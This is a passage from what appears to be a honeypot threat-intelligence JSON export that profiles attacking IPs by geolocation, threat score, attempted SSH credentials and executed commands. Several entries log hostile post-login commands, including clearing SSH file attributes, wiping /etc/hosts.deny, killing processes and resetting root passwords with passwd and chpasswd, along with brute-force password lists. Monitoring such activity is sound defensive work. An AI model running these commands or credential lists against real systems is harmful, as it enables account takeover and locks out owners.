      "first_seen": "2026-03-22T06:19:37.568Z",
      "last_seen": "2026-03-22T06:19:54.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T06:19:37.568000+00:00",
        "last_seen_30d": "2026-03-22T06:21:03.877000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.133.224": {
      "attack_count": 2,
      "first_seen": "2026-03-26T07:45:46.631Z",
      "last_seen": "2026-03-26T07:45:56.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 23,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T08:43:10+00:00",
        "last_seen_30d": "2026-03-28T22:45:29.094000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "157.230.100.17": {
      "attack_count": 2,
      "first_seen": "2026-03-06T05:55:39.939Z",
      "last_seen": "2026-03-06T05:56:00.240Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T23:10:36+00:00",
        "last_seen_30d": "2026-03-07T20:32:27.290000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 5,
        "Cowrie": 2,
        "Ipphoney": 1
      }
    },
    "197.37.133.93": {
      "attack_count": 2,
      "first_seen": "2026-03-11T19:00:08.500Z",
      "last_seen": "2026-03-11T19:00:40.348Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:00:08.500000+00:00",
        "last_seen_30d": "2026-03-11T19:01:42.047000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.173.132.31": {
      "attack_count": 2,
      "first_seen": "2026-03-07T23:41:23.991Z",
      "last_seen": "2026-03-07T23:41:39.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:41:23.991000+00:00",
        "last_seen_30d": "2026-03-07T23:42:45.846000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.133.4.160": {
      "attack_count": 2,
      "first_seen": "2026-03-09T10:34:45.577Z",
      "last_seen": "2026-03-09T10:35:15.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hsinchu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T10:34:45.577000+00:00",
        "last_seen_30d": "2026-03-09T10:36:22.046000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.196.84.80": {
      "attack_count": 2,
      "first_seen": "2026-03-15T07:23:32.973Z",
      "last_seen": "2026-03-15T07:23:47.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T07:23:32.973000+00:00",
        "last_seen_30d": "2026-03-15T07:24:52.008000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "52.242.16.79": {
      "attack_count": 2,
      "first_seen": "2026-03-26T18:39:11.648Z",
      "last_seen": "2026-03-26T18:39:42.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Qu\u00e9bec",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:39:11.648000+00:00",
        "last_seen_30d": "2026-03-26T18:40:47.087000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.176.16.250": {
      "attack_count": 2,
      "first_seen": "2026-03-04T04:29:27.619Z",
      "last_seen": "2026-03-04T04:29:33.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Ho Man Tin",
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:29:27.619000+00:00",
        "last_seen_30d": "2026-03-04T04:30:36.418000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.52.48.228": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:40:33.317Z",
      "last_seen": "2026-03-16T19:40:45.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:40:33.317000+00:00",
        "last_seen_30d": "2026-03-16T19:41:50.467000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "76.164.117.219": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:41:52.385Z",
      "last_seen": "2026-03-17T14:41:58.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Conroe",
      "asn": 6300,
      "as_org": "Fidium",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T14:41:52.385000+00:00",
        "last_seen_30d": "2026-03-17T14:42:59.231000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.217.149.5": {
      "attack_count": 2,
      "first_seen": "2026-03-04T02:06:37.711Z",
      "last_seen": "2026-03-04T02:06:37.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 93.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 693,
        "days_active_30d": 30,
        "ports_targeted_30d": 352,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T19:36:17.328000+00:00",
        "last_seen_30d": "2026-03-31T16:57:32.939000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 396,
        "Honeytrap": 294,
        "Cowrie": 2,
        "CitrixHoneypot": 1
      }
    },
    "91.231.89.236": {
      "attack_count": 2,
      "first_seen": "2026-03-07T16:46:07.231Z",
      "last_seen": "2026-03-07T16:46:07.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T06:04:27.528000+00:00",
        "last_seen_30d": "2026-03-31T21:11:30.227000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117,
        "Honeytrap": 36,
        "Cowrie": 2
      }
    },
    "91.231.89.237": {
      "attack_count": 2,
      "first_seen": "2026-03-07T04:16:18.855Z",
      "last_seen": "2026-03-07T04:16:29.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T13:24:54+00:00",
        "last_seen_30d": "2026-03-31T13:16:12.763000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 33,
        "Cowrie": 2
      }
    },
    "2.57.121.112": {
      "attack_count": 4234,
      "first_seen": "2026-03-02T00:57:03.716Z",
      "last_seen": "2026-03-31T22:48:50.507Z",
      "sessions": 469,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "010489",
        "010492",
        "010493",
        "01051969",
        "05011973",
        "05011974",
        "0502",
        "05021971",
        "05021975",
        "12345689",
        "12345ta",
        ".ktymrf",
        "0000001",
        "00007",
        "000333",
        "000420",
        "00096462",
        "0013",
        "01010",
        "01012012"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5642,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:57:03.716000+00:00",
        "last_seen_30d": "2026-03-31T22:49:52.096000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4234,
        "Suricata": 1408
      }
    },
    "172.236.164.118": {
      "attack_count": 3523,
      "first_seen": "2026-03-28T08:37:37.949Z",
      "last_seen": "2026-03-28T09:50:40.177Z",
      "sessions": 704,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4949,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T08:37:37.949000+00:00",
        "last_seen_30d": "2026-03-28T09:51:45.211000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3523,
        "Suricata": 1426
      }
    },
    "103.183.74.187": {
      "attack_count": 921,
      "first_seen": "2026-03-02T06:25:05.765Z",
      "last_seen": "2026-03-29T19:23:38.853Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "gianluca",
        "install",
        "lekaren",
        "salman",
        "tian",
        "aman",
        "arkserver",
        "camera",
        "claude",
        "coder",
        "cyrus",
        "deploy",
        "elaine",
        "ghost",
        "go",
        "grid",
        "harry"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "1234",
        "1q2w3e!@#",
        "1qaz@wsx3edc",
        "232323",
        "Arthur123",
        "Harry123",
        "Install123!",
        "Jh123456@",
        "Lp123456",
        "MSN55msn!!",
        "Qwe!@#456",
        "Qweasdzxc123",
        "Root@12345",
        "Sa123456",
        "Su123456",
        "Syncuser123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nelib7nxv2ExF\\nelib7nxv2ExF\\n\"|passwd",
        "echo \"123456\\nhE5DuOwts5fz\\nhE5DuOwts5fz\\n\"|passwd",
        "echo \"Arthur123\\n1y3gqvpTLwF9\\n1y3gqvpTLwF9\\n\"|passwd",
        "echo \"Install123!\\nvjT0DRWyIT3A\\nvjT0DRWyIT3A\\n\"|passwd",
        "echo \"lekaren123!\\n9MQNYaIeR06z\\n9MQNYaIeR06z\\n\"|passwd",
        "echo \"root:1mAkHSSJrIFp\"|chpasswd|bash",
        "echo \"root:469P6cTIr0iZ\"|chpasswd|bash",
        "echo \"root:A0nb53PHRvtg\"|chpasswd|bash",
        "echo \"root:POvjcHhTyBdC\"|chpasswd|bash",
        "echo \"tian123!\\nbtSR28lo2ny4\\nbtSR28lo2ny4\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1076,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:25:05.765000+00:00",
        "last_seen_30d": "2026-03-29T19:24:46.638000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 921,
        "Suricata": 155
      }
    },
    "103.213.238.91": {
      "attack_count": 819,
      "first_seen": "2026-03-05T11:08:02.925Z",
      "last_seen": "2026-03-18T23:38:40.442Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ubuntu",
        "ai",
        "elearn",
        "ftpsecure",
        "mitra",
        "odoo17",
        "ami",
        "comp",
        "datacenter",
        "db2admin",
        "db2inst",
        "elastic",
        "elemental",
        "ernesto",
        "mama",
        "newusername",
        "old",
        "pm2user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "12345",
        "12345678",
        "A123123S",
        "A12345661",
        "A1234567AA",
        "AA#2024",
        "ABC!@#123",
        "E1ementa!5",
        "Elearn123",
        "Mama123!",
        "Newusername123!",
        "P@ssw0rd2025",
        "Pm2user123",
        "Portal123",
        "Root2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nUJeM4X8prSkO\\nUJeM4X8prSkO\\n\"|passwd",
        "echo \"123\\nkbIVkAzEoAKq\\nkbIVkAzEoAKq\\n\"|passwd",
        "echo \"A1234567AA\\n4N0eqBM0g6kX\\n4N0eqBM0g6kX\\n\"|passwd",
        "echo \"Elearn123\\nAiBNPum68svB\\nAiBNPum68svB\\n\"|passwd",
        "echo \"Ubuntu@123\\neT7QObnfyHQv\\neT7QObnfyHQv\\n\"|passwd",
        "echo \"odoo17123!\\ne5NExKVtPQ2e\\ne5NExKVtPQ2e\\n\"|passwd",
        "echo \"password\\nnr5iqICVO04w\\nnr5iqICVO04w\\n\"|passwd",
        "echo \"root:IvpqhG9uPVFi\"|chpasswd|bash",
        "echo \"root:cwBencSu9UB7\"|chpasswd|bash",
        "echo -e \"123\\nUJeM4X8prSkO\\nUJeM4X8prSkO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 135310,
      "as_org": "Inspire Broadband",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 953,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T11:08:02.925000+00:00",
        "last_seen_30d": "2026-03-18T23:39:40.917000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 819,
        "Suricata": 134
      }
    },
    "104.208.108.166": {
      "attack_count": 771,
      "first_seen": "2026-03-03T14:03:11.940Z",
      "last_seen": "2026-03-23T23:04:07.693Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "data",
        "git",
        "proxyuser",
        "sftptest",
        "andong",
        "andre",
        "arthur",
        "ashish",
        "auditor",
        "automation",
        "b",
        "celery",
        "dmdba",
        "emo",
        "frank",
        "hduser",
        "icecast",
        "informix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123",
        "1234",
        "123456",
        "123456@A",
        "123456@Ab",
        "123abcABC",
        "1qaz@WSX2025",
        "6666",
        "753159",
        "Ab123456+",
        "Ab12345678",
        "Abc@111111",
        "Arthur123!",
        "Auditor123",
        "Automation123!",
        "B123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nta0JS59Tg1De\\nta0JS59Tg1De\\n\"|passwd",
        "echo \"Data123!\\nUAWeN4AB3Ocn\\nUAWeN4AB3Ocn\\n\"|passwd",
        "echo \"git123\\nu9fRhu7D7b0F\\nu9fRhu7D7b0F\\n\"|passwd",
        "echo \"root:LZibPBd6cPuw\"|chpasswd|bash",
        "echo \"root:VVx3xiDbuoGZ\"|chpasswd|bash",
        "echo \"root:aqCQhIJjxn2r\"|chpasswd|bash",
        "echo \"sftptest\\neDFXtGAfurJa\\neDFXtGAfurJa\\n\"|passwd",
        "echo -e \"12345678\\nta0JS59Tg1De\\nta0JS59Tg1De\"|passwd|bash",
        "echo -e \"Data123!\\nUAWeN4AB3Ocn\\nUAWeN4AB3Ocn\"|passwd|bash",
        "echo -e \"git123\\nu9fRhu7D7b0F\\nu9fRhu7D7b0F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 930,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:03:11.940000+00:00",
        "last_seen_30d": "2026-03-23T23:05:11.869000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 771,
        "Suricata": 159
      }
    },
    "69.74.29.21": {
      "attack_count": 746,
      "first_seen": "2026-03-07T00:28:48.233Z",
      "last_seen": "2026-03-23T23:32:42.098Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "amine",
        "cyrus",
        "n8n",
        "svn",
        "waf",
        "allen",
        "ann",
        "bryan",
        "den",
        "dls",
        "elk",
        "ftb",
        "ftp-user",
        "ghost",
        "gm",
        "intell",
        "lorenzo",
        "maks"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123",
        "12345",
        "12345678",
        "1Qaz2wsx",
        "@qwer2024",
        "@qwer2025",
        "Aa147258!",
        "Abc@123123",
        "Allen123",
        "Mc123!",
        "Mukul123!",
        "Qwertyu1",
        "Test.123",
        "a123456789!",
        "admin@2024",
        "ann123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
